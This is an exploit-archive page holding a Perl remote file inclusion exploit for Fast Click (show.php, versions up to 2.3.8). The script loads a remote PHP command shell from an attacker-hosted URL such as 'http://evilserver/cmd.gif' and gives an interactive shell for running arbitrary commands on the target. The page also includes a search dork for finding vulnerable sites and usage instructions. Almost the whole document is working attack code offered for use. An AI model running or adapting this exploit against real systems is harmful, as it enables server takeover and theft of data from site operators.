exploits , vulnerabilities , articles , Fast Click (<= 1.1.3 , <= 2.3.8) (show.php) Remote File Inclusion Exploit

Rated as : Moderate Risk

# The different versions from 2.3.8, are also remotely exploitable.
#   The included filename needs to be changed to match the request.
#   /str0ke

#!/usr/bin/perl
##
# Fast Click <= 2.3.8 Remote File Inclusion exploit
# Bug discovered and cod3d by R@1D3N (amin emami)
#Greet:Outlaw - Aura - Dltrp - Cl0wn - B3HZAD - sm0k3r - Exploitercode -
Str0ke and all persian Cyber team
#http://www.aria-security.net
#Dork:inurl:"fclick.php?fid"
# usage:
# perl fc.pl <target> <cmd shell location> <cmd shell
variable>
# perl fc.pl http://target.com/fclick/ http://target.com/cmd.gif cmd
# cmd shell example: <?system($cmd);?>
# cmd shell variable: ($_GET[cmd]);

use LWP::UserAgent;

$Path = $ARGV[0];
$Pathtocmd = $ARGV[1];
$cmdv = $ARGV[2];

if($Path!~/http:\/\// || $Pathtocmd!~/http:\/\// || !$cmdv){usage()}

head();

while()
{
      print "[shell] \$";
while(<STDIN>)
      {
              $cmd=$_;
              chomp($cmd);

$xpl = LWP::UserAgent->new() or die;
$req = HTTP::Request->new(GET
=>$Path.'show.php?path='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or die
"\nCould Not connect\n";

$res = $xpl->request($req);
$return = $res->content;
$return =~ tr/[\n]/[ê]/;

if (!$cmd) {print "\nPlease Enter a Command\n\n"; $return
="";}

elsif ($return =~/failed to open stream: HTTP request failed!/ || $return
=~/: Cannot execute a blank command in <b>/)
      {print "\nCould Not Connect to cmd Host or Invalid Command
Variable\n";exit}
elsif ($return =~/^<br.\/>.<b>Fatal.error/) {print
"\nInvalid Command or No Return\n\n"}

if($return =~ /(.*)/)

{
      $finreturn = $1;
      $finreturn=~ tr/[ê]/[\n]/;
      print "\r\n$finreturn\n\r";
      last;
}

else {print "[shell] \$";}}}last;

sub head()
 {
 print
"\n============================================================================\r\n";
 print " Fast Click <= 2.3.8 Remote File Inclusion
exploit\r\n";
 print
"============================================================================\r\n";
 }
sub usage()
 {
 head();
 print " Usage: perl fc.pl <target> <cmd shell location>
<cmd shell variable>\r\n\n";
 print " <Site> - Full path to Fastclick ex:
http://www.site.com/fclick/ \r\n";
 print " <cmd shell> - Path to cmd Shell e.g
http://evilserver/cmd.gif \r\n";
 print " <cmd variable> - Command variable used in php shell
\r\n";
 print
"============================================================================\r\n";
 print "                           bug discovered by RAYD3N
\r\n";
 print " www.Aria-security.net/Forums/ \r\n";
 print
"============================================================================\r\n";
 exit();
 }


securitydot.net - 2006-05-02